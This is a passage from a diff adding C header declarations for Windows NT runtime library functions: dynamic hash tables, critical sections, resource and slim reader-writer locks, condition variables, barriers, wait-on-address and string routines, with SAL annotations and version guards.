_RTL_DYNAMIC_HASH_TABLE_ENTRY { + LIST_ENTRY Linkage; + ULONG_PTR Signature; +} RTL_DYNAMIC_HASH_TABLE_ENTRY, * PRTL_DYNAMIC_HASH_TABLE_ENTRY; + +// +// Some components want to see the actual signature and can use +// this macro to encapsulate that operation. +// +#define HASH_ENTRY_KEY(x) ((x)->Signature) + +// +// Brief background on each of the parameters and their +// justification: +// 1. ChainHead stores the pointer to a bucket. This is needed since +// our hash chains are doubly-linked circular lists, and there is +// is no way to determine whether we've reached the end of the +// chain unless we store the pointer to the bucket itself. This +// is particularly used in walking the sub-list of entries returned +// by a lookup. We need to know when the sub-list has been +// completely returned. +// 2. PrevLinkage stores a pointer to the entry before the entry +// under consideration. The reason for storing the previous entry +// instead of the entry itself is for cases where a lookup fails +// and PrevLinkage actually stores the entry that would have been +// the previous entry, had the looked up entry existed. This can +// then be used to actually insert the entry at that place. +// 3. Signature is used primarily as a safety check in insertion. +// This field must match the Signature of the entry being inserted. +// + +typedef struct _RTL_DYNAMIC_HASH_TABLE_CONTEXT { + PLIST_ENTRY ChainHead; + PLIST_ENTRY PrevLinkage; + ULONG_PTR Signature; +} RTL_DYNAMIC_HASH_TABLE_CONTEXT, * PRTL_DYNAMIC_HASH_TABLE_CONTEXT; + +typedef struct _RTL_DYNAMIC_HASH_TABLE_ENUMERATOR { + union { + RTL_DYNAMIC_HASH_TABLE_ENTRY HashEntry; + PLIST_ENTRY CurEntry; + }; + PLIST_ENTRY ChainHead; + ULONG BucketIndex; +} RTL_DYNAMIC_HASH_TABLE_ENUMERATOR, * PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR; + +typedef struct _RTL_DYNAMIC_HASH_TABLE { + + // Entries initialized at creation + ULONG Flags; + ULONG Shift; + + // Entries used in bucket computation. + ULONG TableSize; + ULONG Pivot; + ULONG DivisorMask; + + // Counters + ULONG NumEntries; + ULONG NonEmptyBuckets; + ULONG NumEnumerators; + + // The directory. This field is for internal use only. + PVOID Directory; + +} RTL_DYNAMIC_HASH_TABLE, * PRTL_DYNAMIC_HASH_TABLE; + +// +// Inline functions first. +// +#if !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +VOID +RtlInitHashTableContext( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +) +{ + Context->ChainHead = NULL; + Context->PrevLinkage = NULL; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +VOID +RtlInitHashTableContextFromEnumerator( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +) +{ + Context->ChainHead = Enumerator->ChainHead; + Context->PrevLinkage = Enumerator->HashEntry.Linkage.Blink; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +void +RtlReleaseHashTableContext( + _Inout_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +) +{ + UNREFERENCED_PARAMETER(Context); + return; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlTotalBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->TableSize; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlNonEmptyBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->NonEmptyBuckets; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlEmptyBucketsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->TableSize - HashTable->NonEmptyBuckets; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlTotalEntriesHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->NumEntries; +} +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +FORCEINLINE +ULONG +RtlActiveEnumeratorsHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +) +{ + return HashTable->NumEnumerators; +} +#endif + +#endif // !defined(MIDL_PASS) && !defined(SORTPP_PASS) + +// +// Almost all the hash functions take in a Context. +// If a valid context is passed in, it will be used +// in executing the operation if possible. If a +// blank context is passed in, it will be initialized +// appropriately. +// + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +_Success_(return != 0) +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateHashTable( + _Inout_ _When_(NULL == *HashTable, _At_(*HashTable, __drv_allocatesMem(Mem))) + PRTL_DYNAMIC_HASH_TABLE * HashTable, + _In_ ULONG Shift, + _Reserved_ ULONG Flags +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN8) +_Must_inspect_result_ +_Success_(return != 0) +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateHashTableEx( + _Inout_ _When_(NULL == *HashTable, _At_(*HashTable, __drv_allocatesMem(Mem))) + PRTL_DYNAMIC_HASH_TABLE * HashTable, + _In_ ULONG InitialSize, + _In_ ULONG Shift, + _Reserved_ ULONG Flags +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlDeleteHashTable( + _In_ _When_((HashTable->Flags & RTL_HASH_ALLOCATED_HEADER), __drv_freesMem(Mem) _Post_invalid_) + PRTL_DYNAMIC_HASH_TABLE HashTable +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlInsertEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ __drv_aliasesMem PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry, + _In_ ULONG_PTR Signature, + _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlRemoveEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_ENTRY Entry, + _Inout_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlLookupEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ ULONG_PTR Signature, + _Out_opt_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlGetNextEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _In_ PRTL_DYNAMIC_HASH_TABLE_CONTEXT Context +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlInitEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlEndEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlInitWeakEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlWeaklyEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +VOID +NTAPI +RtlEndWeakEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +NTSYSAPI +BOOLEAN +NTAPI +RtlInitStrongEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Out_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_Must_inspect_result_ +NTSYSAPI +PRTL_DYNAMIC_HASH_TABLE_ENTRY +NTAPI +RtlStronglyEnumerateEntryHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +NTSYSAPI +VOID +NTAPI +RtlEndStrongEnumerationHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable, + _Inout_ PRTL_DYNAMIC_HASH_TABLE_ENUMERATOR Enumerator +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlExpandHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +NTSYSAPI +BOOLEAN +NTAPI +RtlContractHashTable( + _In_ PRTL_DYNAMIC_HASH_TABLE HashTable +); +#endif + +#endif // !_KERNEL_MODE + +// +// RB Trees +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +VOID +NTAPI +RtlRbInsertNodeEx( + _In_ PRTL_RB_TREE Tree, + _In_opt_ PRTL_BALANCED_NODE Parent, + _In_ BOOLEAN Right, + _Out_ PRTL_BALANCED_NODE Node +); + +NTSYSAPI +VOID +NTAPI +RtlRbRemoveNode( + _In_ PRTL_RB_TREE Tree, + _In_ PRTL_BALANCED_NODE Node +); +#endif + +#endif // !_KERNEL_MODE + +// +// Critical sections +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + _Out_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSectionAndSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +LOGICAL +NTAPI +RtlTryEnterCriticalSection( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLocked( + _In_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +LOGICAL +NTAPI +RtlIsCriticalSectionLockedByThread( + _In_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +ULONG +NTAPI +RtlGetCriticalSectionRecursionCount( + _In_ PRTL_CRITICAL_SECTION CriticalSection +); + +NTSYSAPI +ULONG +NTAPI +RtlSetCriticalSectionSpinCount( + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_ ULONG SpinCount +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +HANDLE +NTAPI +RtlQueryCriticalSectionOwner( + _In_ HANDLE EventHandle +); +#endif + +NTSYSAPI +VOID +NTAPI +RtlCheckForOrphanedCriticalSections( + _In_ HANDLE ThreadHandle +); + +#endif // !_KERNEL_MODE + +// +// Resources +// + +#ifndef _KERNEL_MODE + +typedef struct _RTL_RESOURCE +{ + RTL_CRITICAL_SECTION CriticalSection; + + HANDLE SharedSemaphore; + volatile ULONG NumberOfWaitingShared; + HANDLE ExclusiveSemaphore; + volatile ULONG NumberOfWaitingExclusive; + + volatile LONG NumberOfActive; // negative: exclusive acquire; zero: not acquired; positive: shared acquire(s) + HANDLE ExclusiveOwnerThread; + + ULONG Flags; // RTL_RESOURCE_FLAG_* + + PRTL_RESOURCE_DEBUG DebugInfo; +} RTL_RESOURCE, * PRTL_RESOURCE; + +#define RTL_RESOURCE_FLAG_LONG_TERM ((ULONG)0x00000001) + +NTSYSAPI +VOID +NTAPI +RtlInitializeResource( + _Out_ PRTL_RESOURCE Resource +); + +NTSYSAPI +VOID +NTAPI +RtlDeleteResource( + _Inout_ PRTL_RESOURCE Resource +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAcquireResourceShared( + _Inout_ PRTL_RESOURCE Resource, + _In_ BOOLEAN Wait +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlAcquireResourceExclusive( + _Inout_ PRTL_RESOURCE Resource, + _In_ BOOLEAN Wait +); + +NTSYSAPI +VOID +NTAPI +RtlReleaseResource( + _Inout_ PRTL_RESOURCE Resource +); + +NTSYSAPI +VOID +NTAPI +RtlConvertSharedToExclusive( + _Inout_ PRTL_RESOURCE Resource +); + +NTSYSAPI +VOID +NTAPI +RtlConvertExclusiveToShared( + _Inout_ PRTL_RESOURCE Resource +); + +#endif // !_KERNEL_MODE + +// +// Slim reader-writer locks, condition variables, and barriers +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// winbase:InitializeSRWLock +NTSYSAPI +VOID +NTAPI +RtlInitializeSRWLock( + _Out_ PRTL_SRWLOCK SRWLock +); + +// winbase:AcquireSRWLockExclusive +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:AcquireSRWLockShared +NTSYSAPI +VOID +NTAPI +RtlAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:ReleaseSRWLockExclusive +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:ReleaseSRWLockShared +NTSYSAPI +VOID +NTAPI +RtlReleaseSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:TryAcquireSRWLockExclusive +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); + +// winbase:TryAcquireSRWLockShared +NTSYSAPI +BOOLEAN +NTAPI +RtlTryAcquireSRWLockShared( + _Inout_ PRTL_SRWLOCK SRWLock +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +VOID +NTAPI +RtlAcquireReleaseSRWLockExclusive( + _Inout_ PRTL_SRWLOCK SRWLock +); +#endif //(NTDDI_VERSION >= NTDDI_WIN7) + +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// winbase:InitializeConditionVariable +NTSYSAPI +VOID +NTAPI +RtlInitializeConditionVariable( + _Out_ PRTL_CONDITION_VARIABLE ConditionVariable +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSleepConditionVariableCS( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable, + _Inout_ PRTL_CRITICAL_SECTION CriticalSection, + _In_opt_ PLARGE_INTEGER Timeout +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlSleepConditionVariableSRW( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable, + _Inout_ PRTL_SRWLOCK SRWLock, + _In_opt_ PLARGE_INTEGER Timeout, + _In_ ULONG Flags +); + +// winbase:WakeConditionVariable +NTSYSAPI +VOID +NTAPI +RtlWakeConditionVariable( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable +); + +// winbase:WakeAllConditionVariable +NTSYSAPI +VOID +NTAPI +RtlWakeAllConditionVariable( + _Inout_ PRTL_CONDITION_VARIABLE ConditionVariable +); +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +// begin_rev +#define RTL_BARRIER_FLAGS_SPIN_ONLY 0x00000001 // never block on event - always spin +#define RTL_BARRIER_FLAGS_BLOCK_ONLY 0x00000002 // always block on event - never spin +#define RTL_BARRIER_FLAGS_NO_DELETE 0x00000004 // use if barrier will never be deleted +// end_rev + +// begin_private + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitBarrier( + _Out_ PRTL_BARRIER Barrier, + _In_ ULONG TotalThreads, + _In_ ULONG SpinCount +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteBarrier( + _In_ PRTL_BARRIER Barrier +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlBarrier( + _Inout_ PRTL_BARRIER Barrier, + _In_ ULONG Flags +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlBarrierForDelete( + _Inout_ PRTL_BARRIER Barrier, + _In_ ULONG Flags +); +#endif //(NTDDI_VERSION >= NTDDI_VISTA) + +#endif // !_KERNEL_MODE + +// +// Wait on address +// + +#ifndef _KERNEL_MODE + +// begin_rev +#if (NTDDI_VERSION >= NTDDI_WIN8) +NTSYSAPI +NTSTATUS +NTAPI +RtlWaitOnAddress( + _In_ volatile VOID* Address, + _In_ PVOID CompareAddress, + _In_ SIZE_T AddressSize, + _In_opt_ PLARGE_INTEGER Timeout +); + +NTSYSAPI +VOID +NTAPI +RtlWakeAddressAll( + _In_ PVOID Address +); + +NTSYSAPI +VOID +NTAPI +RtlWakeAddressSingle( + _In_ PVOID Address +); +#endif +// end_rev + +#endif // !_KERNEL_MODE + + +// +// Strings +// + +#ifndef ANSI_STRING_MAX_BYTES +#define ANSI_STRING_MAX_BYTES ((USHORT)65535) +#endif // ANSI_STRING_MAX_BYTES + +#ifndef ANSI_STRING_MAX_CHARS +#define ANSI_STRING_MAX_CHARS ANSI_STRING_MAX_BYTES +#endif + +#ifdef _KERNEL_MODE +#include +#endif + +#ifndef _KERNEL_MODE + +_At_(AnsiString->Buffer, _Post_equal_to_(Buffer)) +_At_(AnsiString->Length, _Post_equal_to_(0)) +_At_(AnsiString->MaximumLength, _Post_equal_to_(BufferSize)) +FORCEINLINE +VOID +RtlInitEmptyAnsiString( + _Out_ PANSI_STRING AnsiString, + _Pre_maybenull_ _Pre_readable_size_(BufferSize) __drv_aliasesMem PCHAR Buffer, + _In_ USHORT BufferSize +) +{ + AnsiString->MaximumLength = BufferSize; + AnsiString->Buffer = Buffer; + AnsiString->Length = 0; +} + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitString( + _Out_ PSTRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitStringEx( + _Out_ PSTRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); +#endif + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString( + _Out_ PANSI_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + _Out_ PANSI_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString( + _Inout_ _At_(AnsiString->Buffer, _Frees_ptr_opt_) + PANSI_STRING AnsiString +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_VB) +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlInitUTF8String( + _Out_ PUTF8_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitUTF8StringEx( + _Out_ PUTF8_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCSZ SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeUTF8String( + _Inout_ _At_(utf8String->Buffer, _Frees_ptr_opt_) + PUTF8_STRING utf8String +); +#endif + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeOemString( + _Inout_ _At_(OemString->Buffer, _Frees_ptr_opt_) + POEM_STRING OemString +); + +NTSYSAPI +VOID +NTAPI +RtlCopyString( + _Out_ PSTRING DestinationString, + _In_opt_ const STRING* SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +CHAR +NTAPI +RtlUpperChar( + _In_ CHAR Character +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareString( + _In_ const STRING* String1, + _In_ const STRING* String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualString( + _In_ const STRING* String1, + _In_ const STRING* String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixString( + _In_ const STRING* String1, + _In_ const STRING* String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendStringToString( + _Inout_ PSTRING Destination, + _In_ const STRING* Source +); + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendAsciizToString( + _In_ PSTRING Destination, + _In_opt_ PCSTR Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlUpperString( + _Inout_ PSTRING DestinationString, + _In_ const STRING* SourceString +); + +FORCEINLINE +BOOLEAN +RtlIsNullOrEmptyUnicodeString( + _In_opt_ PUNICODE_STRING String +) +{ + return !String || String->Length == 0; +} + +#ifndef _KERNEL_MODE + +_At_(UnicodeString->Buffer, _Post_equal_to_(Buffer)) +_At_(UnicodeString->Length, _Post_equal_to_(0)) +_At_(UnicodeString->MaximumLength, _Post_equal_to_(BufferSize)) +FORCEINLINE +VOID +RtlInitEmptyUnicodeString( + _Out_ PUNICODE_STRING UnicodeString, + _Writable_bytes_(BufferSize) + _When_(BufferSize != 0, _Notnull_) + __drv_aliasesMem PWCHAR Buffer, + _In_ USHORT BufferSize +) +{ + UnicodeString->Buffer = Buffer; + UnicodeString->MaximumLength = BufferSize; + UnicodeString->Length = 0; +} + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(DISPATCH_LEVEL) +_At_(DestinationString->Buffer, _Post_equal_to_(SourceString)) +_At_(DestinationString->Length, _Post_equal_to_(_String_length_(SourceString) * sizeof(WCHAR))) +_At_(DestinationString->MaximumLength, _Post_equal_to_((_String_length_(SourceString) + 1) * sizeof(WCHAR))) +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCWSTR SourceString +); + +#ifndef RtlInitUnicodeStringEx +_IRQL_requires_max_(DISPATCH_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_z_ __drv_aliasesMem PCWSTR SourceString +); +#endif + +_IRQL_requires_max_(APC_LEVEL) +_Success_(return != 0) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + _Out_ _At_(DestinationString->Buffer, __drv_allocatesMem(Mem)) + PUNICODE_STRING DestinationString, + _In_z_ PCWSTR SourceString +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCSTR SourceString +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + _Inout_ _At_(UnicodeString->Buffer, _Frees_ptr_opt_) + PUNICODE_STRING UnicodeString +); + +#ifndef _KERNEL_MODE +#define RTL_DUPLICATE_UNICODE_STRING_NULL_TERMINATE (0x00000001) +#define RTL_DUPLICATE_UNICODE_STRING_ALLOCATE_NULL_STRING (0x00000002) +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + _In_ ULONG Flags, + _In_ PCUNICODE_STRING StringIn, + _Out_ _At_(StringOut->Buffer, __drv_allocatesMem(Mem)) + PUNICODE_STRING StringOut +); + +_Unchanged_(DestinationString->Buffer) +_Unchanged_(DestinationString->MaximumLength) +_At_(DestinationString->Length, + _When_(SourceString->Length > DestinationString->MaximumLength, + _Post_equal_to_(DestinationString->MaximumLength)) + _When_(SourceString->Length <= DestinationString->MaximumLength, + _Post_equal_to_(SourceString->Length))) + NTSYSAPI + VOID + NTAPI + RtlCopyUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_opt_ PCUNICODE_STRING SourceString + ); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + _In_ WCHAR SourceCharacter +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + _In_ WCHAR SourceCharacter +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeStrings( + _In_reads_(String1Length) PCWCH String1, + _In_ SIZE_T String1Length, + _In_reads_(String2Length) PCWCH String2, + _In_ SIZE_T String2Length, + _In_ BOOLEAN CaseInSensitive +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +#ifndef _KERNEL_MODE +#define HASH_STRING_ALGORITHM_DEFAULT (0) +#define HASH_STRING_ALGORITHM_X65599 (1) +#define HASH_STRING_ALGORITHM_INVALID (0xffffffff) +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlHashUnicodeString( + _In_ PCUNICODE_STRING String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue +); + +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlValidateUnicodeString( + _Reserved_ ULONG Flags, + _In_ PCUNICODE_STRING String +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); + +#if (NTDDI_VERSION >= NTDDI_WINTHRESHOLD) +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlSuffixUnicodeString( + _In_ PCUNICODE_STRING String1, + _In_ PCUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10) +_Must_inspect_result_ +NTSYSAPI +PWCHAR +NTAPI +RtlFindUnicodeSubstring( + _In_ PUNICODE_STRING FullString, + _In_ PUNICODE_STRING SearchString, + _In_ BOOLEAN CaseInSensitive +); +#endif + +#define RTL_FIND_CHAR_IN_UNICODE_STRING_START_AT_END 0x00000001 +#define RTL_FIND_CHAR_IN_UNICODE_STRING_COMPLEMENT_CHAR_SET 0x00000002 +#define RTL_FIND_CHAR_IN_UNICODE_STRING_CASE_INSENSITIVE 0x00000004 + +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + _In_ ULONG Flags, + _In_ PUNICODE_STRING StringToSearch, + _In_ 